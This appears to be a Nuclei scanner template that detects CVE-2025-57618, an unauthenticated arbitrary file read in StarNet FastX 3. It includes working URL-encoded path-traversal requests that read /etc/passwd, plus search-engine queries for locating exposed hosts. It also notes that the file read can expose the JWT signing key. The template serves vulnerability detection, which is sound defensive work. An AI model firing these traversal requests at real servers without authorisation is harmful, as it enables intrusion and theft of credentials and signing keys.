Copy
id: CVE-2025-57618
info:
name: StarNet FastX 3 - Arbitrary File Read
author: bandrel
severity: high
description: |
StarNet FastX 3 serves /error/assets/:myfile by passing the route parameter to path.resolve without validation, so an unauthenticated client can read any file the FastX service account can read, including the key used to sign session JWTs. NVD lists FastX 3 through 3.3.67 as affected; 3.3.71 is the fixed release.
impact: |
Unauthenticated attackers can read arbitrary files on the server. Reading the JWT signing key lets them forge tokens for any user and reach command execution through authenticated endpoints.
remediation: |
Upgrade FastX 3 to 3.3.71 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2025-57618
- https://gitlab.com/daniele_m/cve-list/-/blob/main/README.md
- https://www.starnet.com/help/fastx3-3-server-release-notes/
- https://github.com/bandrel/fastx32shell
- https://fastx32shell.com
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
cvss-score: 7.3
cve-id: CVE-2025-57618
epss-score: 0.01347
epss-percentile: 0.72369
cwe-id: CWE-24
metadata:
verified: true
max-request: 5
vendor: starnet
product: fastx
shodan-query: http.title:"FastX"
fofa-query: title="FastX"
tags: cve,cve2025,starnet,fastx,lfi,traversal
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}"
redirects: true
matchers:
- type: word
part: response
words:
- "FastX"
- "fx3-token"
internal: true
- method: GET
path:
- "{{BaseURL}}/error/assets/%2fetc%2fpasswd"
- "{{BaseURL}}/error/assets/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
- "{{BaseURL}}/error/assets/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
- "{{BaseURL}}/error/assets/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
- "{{BaseURL}}/error/assets/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:[^:\\n]*:0:0:"
- type: status
status:
- 200
# digest: 4a0a00473045022019ed340abe74fc7559ac94842d546937b091cd2ebf38386f8f1e81ec142b8b43022100b72fff5a2d642683d417c62af32c4ceb403410c379ddf955e9efc32a0c91a619:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.